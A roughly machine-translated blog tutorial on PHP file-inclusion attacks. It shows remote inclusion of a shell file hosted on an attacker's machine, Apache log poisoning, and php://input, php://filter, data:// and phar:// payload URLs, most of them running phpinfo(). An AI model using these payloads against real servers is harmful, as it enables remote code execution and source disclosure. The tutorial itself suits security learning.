当前位置:网站首页>File contains (regardless of suffix) Apache log remote file contains PHP encapsulated pseudo protocol:
File contains (regardless of suffix) Apache log remote file contains PHP encapsulated pseudo protocol:
2022-06-12 04:41:00 【Cook 666】
1. The local file contains :( Ignore suffix )



2. The remote file contains
Remote contains shellallow_url_include Turn on
visit : http:// Target machine ip/index.php?page=http:// Operator ip/shell.txt
Target machine :

Operator :


3.apache Log file contains individuals get.shell
Modify file httpd.conf
# CustomLog "logs/access.log" common Remove the front one # Restart No apache
visit http;//127.0.0.1:8070/00/include.php/<?php phpinfo();?>
adopt Burp Suite Grab the bag

Then include the log file http://127.0.0.1/00/include.php?page=D:\softt\PHPTutorialApache\ogslaccess.log

4.php Encapsulate pseudo protocol :
(1) php://input
php://input|/ Commands can be executed via the input stream pseudo Protocol ,getshell
http://127.0.0.1/00 /include.php?page=php:// input
adopt Burp Suite Grab the bag

add to <?php phpinfo();?>

write in shell


(2) filter://
Read the source code
php://filter// adopt base64 Code to read the source code of the page
http://127.0.0.1/00/include.php?page=php://filter/read=convert.base64-encode/resource=include.php
resource=() This content is your goal. You can take the path to read the source code content of the page you want

(3)zip:// Write a first test.txt

Compress
![]()

(4) data://
Command execution (php Version greater than or equal to 5.2,allow_url_include and allow_url_fopen All for on The state of )?
page=data://text/plain,<?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

(5) phar://
Use posture :
If there is a file test.txt, Pack it up zip Compressed package , Specify the absolute path ( Or use relative paths )
?page=phar:// D:\phpStudy\PHPTutorial\WWW\00 /test.zip/test.txt or
?page=phar:// D:\phpStudy\PHPTutorial\WWW\00 /test.jpg/test.txt

边栏推荐
- [SC] OpenService FAILED 5: Access is denied.
- Redis learning notes (continuously updating)
- L1-068 harmonic average (10 points)
- Exception handling and unit testing
- Solid programming concepts
- QT compile 45 graphic report of security video monitoring system
- Using datetime in MySQL
- 疫情数据分析平台工作报告【6】可视化绘图
- 关于线程池需要注意的几点
- 2022-02-28 WPF upper computer 126 understand mqtt
猜你喜欢

Brief introduction to 44 official cases of vrtk3.3 (combined with steamvr)

命令执行漏洞详解

MySQL master-slave construction and Django implementation of read-write separation

1. Mx6ull learning notes (II) - uboot migration

Interview must ask: summary of ten classic sorting algorithms

Interview must ask: summary of ten classic sorting algorithms

Longest palindrome string

SQL injection upload one sentence Trojan horse (turn)

kali_ Change_ Domestic source

Day17 array features array boundary array application traversal array multidimensional array creation and traversal arrays operation array bubble sort
随机推荐
2022 low voltage electrician test questions and simulation test
Work report of epidemic data analysis platform [6] visual drawing
Zabbix6.0新功能Geomap 地图标记 你会用吗?
How to use union all in LINQ- How to use union all in LINQ?
LabVIEW about TDMS and binary storage speeds
Work report of epidemic data analysis platform [1] data collection
Musk promotes the development of fascinating new products partners remind important questions
kali_ Nat mode, bridging Internet / host only_ detailed
请用递归的方法计算下列函数的值:px(x,n)=x-x^2 +x^3- x^4+… ((-1)n-1)(xn) n>0 **输入格式要求:“%lf%d“ 提示信息:“Enter X and N:”
Operation of simulated examination platform for 2022 safety officer-b certificate examination questions
In the era of smart retail, Weimeng reshapes the value of "shopping guide"
Construction case of Expressway Precast Beam Yard (with scheme text)
D1 哪吒开发板 上电记录
WiFi module scheme of the wireless Internet of things, esp32-s3 chip technology, helps the equipment to be intelligent
Ubunt 20.04 uses CDROM or ISO as the installation source
JWT learning and use
Understanding of day16 array create query static and dynamic array array array performance in memory
疫情数据分析平台工作报告【2】接口API
leetcode797. All possible paths (medium)
【高效】最强开发工具Ctool编译踩坑